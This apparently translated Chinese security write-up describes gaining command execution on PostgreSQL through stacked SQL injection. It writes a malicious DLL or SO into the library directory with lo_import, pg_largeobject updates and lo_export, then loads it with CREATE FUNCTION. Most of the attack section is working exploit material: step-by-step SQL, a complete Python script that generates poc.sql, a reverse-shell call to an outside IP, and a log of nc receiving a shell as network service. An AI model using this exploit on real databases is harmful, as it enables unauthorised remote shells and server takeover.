Pgsql堆叠注入场景下通过`CREATE FUNCTION`来实现命令执行

• CVE：N/A

• CVSS：4.1 (AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L)

• 适用环境：Windows、Linux、Unix

• 12.3
• 11.8
• 10.13
• 9.6.18
• 9.5.22

• Windows：C:Program FilesPostgreSQL11lib
• Unix/Linux：/var/lib/postgresql/11/lib

1. 通过lo_import获得一个OID

select lo_import('C:/Windows/win.ini',1337);#不是必须使用`C:/Windows/win.ini`,任意一个存在的绝对路径都行，只是为了得到一个OID，在本例中OID为1337

在Windwos场景下这里我们还可以使用UNC路径，如果使用该项技术则可跳过3.3，但我希望兼容Unix/Windows平台，所有没有使用。
2. 基于OID来进行数据替换
现在，我们基于OID的值来替换pg_largeobject表中的数据，将其对应内容替换为我们的恶意代码。这些恶意代码最终需要基于目标数据库的完整版本来进行编译还要匹配对应的系统架构。对于超过2048字节大小的文件，pg_largeobject表需使用pageno字段来将文件分割成大小为2048字节大小的数据块。分割示例如下：
update pg_largeobject SET pageno=0, data=decode(4d5a90...) where loid=1337;insert into pg_largeobject(loid, pageno, data) values (1337, 1, decode(74114d...));insert into pg_largeobject(loid, pageno, data) values (1337, 2, decode(651400...));...

通过使用PostgreSQL中的object identifier types，可以跳过第1阶段（并且仅对第2阶段执行单个语句执行），但是我没有时间确认这一点。
3. 使用lo_export函数生成恶意动态库
现在我们可以通过lo_export来转储之前变相导入的数据来生恶意的动态库文件。不过这一步不能指定目录，因为这样做会触发PostgreSQL内置的安全检查，而且就算能绕过该检查，NETWORK_SERVICE（Unix/Linux场景下为postgres）帐户也存在路径限制，搞不定搞不定。
select lo_export(1337, 'poc.dll');# 导出的poc.dll会存储在默认的动态库目录

4. 基于恶意动态库文件创建函数
我在以往的研究中提到过，可以使用绝对路径（包括UNC）来加载基于Postgresql 9.x的扩展从而执行系统命令。@zerosum0x0师傅也有相关的操作笔记。不过那个时候对系统用户的文件操作权限并没有那么多的限制。
create function connect_back(text, integer) returns void as '//attacker/share/poc.dll', 'connect_back' language C strict;

如今几年过去了，PostgreSQL官方决定禁用CREATE FUNCTION时使用绝对路径导致现在这种技术已经失效了。不过现在我们可以很方便地从对应的默认动态库目录中遍历并加载我们转储的恶意动态库文件，举例如下：
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;# 作者注入的恶意代码就是用来反弹shell的，因此创建函数才如此构造，实际场景中可根据需要自定义。

4. 反弹shell
成功创建connect_back函数后，直接通过select指令来调用：
select connect_back('192.168.100.54', 1234);

 







问题现状







ZDI团队咨询过PostgreSQL官方对该问题的意见，但无后文，后来我得知官方并不打算修复此问题，因为官方认为该问题属于正常系统功能而不是漏洞。
 







造个轮子







代码如下，将生成poc.sql文件，以超管用户在数据库上逐步执行，或将poc.sql中的sql命令逐个通过注入点执行：
#!/usr/bin/env python3import sys
if len(sys.argv) != 4:    print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])    print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])    sys.exit(1)
host = sys.argv[1]port = int(sys.argv[2])lib = sys.argv[3]with open(lib, "rb") as dll:    d = dll.read()sql = "select lo_import('C:/Windows/win.ini', 1337);"for i in range(0, len(d)//2048):    start = i * 2048    end   = (i+1) * 2048    if i == 0:        sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())    else:        sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())if (len(d) % 2048) != 0:    end   = (i+1) * 2048    sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql += "select lo_export(1337, 'poc.dll');"sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"sql += "select connect_back('%s', %d);" % (host, port)print("(+) building poc.sql file")with open("poc.sql", "w") as sqlfile:    sqlfile.write(sql)print("(+) run poc.sql in PostgreSQL using the superuser")print("(+) for a db cleanup only, run the following sql:")print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")print("    drop function connect_back(text, integer);")

跑一下展示下效果：
steven@pluto:~/postgres-rce$ ./poc.py(+) usage ./poc.py <connectback> <port> <dll/so>(+) eg: ./poc.py 192.168.100.54 1234steven@pluto:~/postgres-rce$ ./poc.py 192.168.100.54 1234 si-x64-12.dll(+) building poc.sql file(+) run poc.sql in PostgreSQL using the superuser(+) for a db cleanup only, run the following sql:    SELECT lo_unlink(l.oid) FROM pg_largeobject_metadata l;    DROP FUNCTION connect_back(text, integer);steven@pluto:~/postgres-rce$ nc -lvp 1234Listening on [0.0.0.0] (family 0, port 1234)Connection from 192.168.100.122 49165 received!Microsoft Windows [Version 6.3.9600](c) 2013 Microsoft Corporation. All rights reserved.
C:Program FilesPostgreSQL12data>whoamint authoritynetwork service
C:Program FilesPostgreSQL12data>









译文声明

译文仅供参考，具体内容表达以及含义原文为准。



















戳“阅读原文”查看更多内容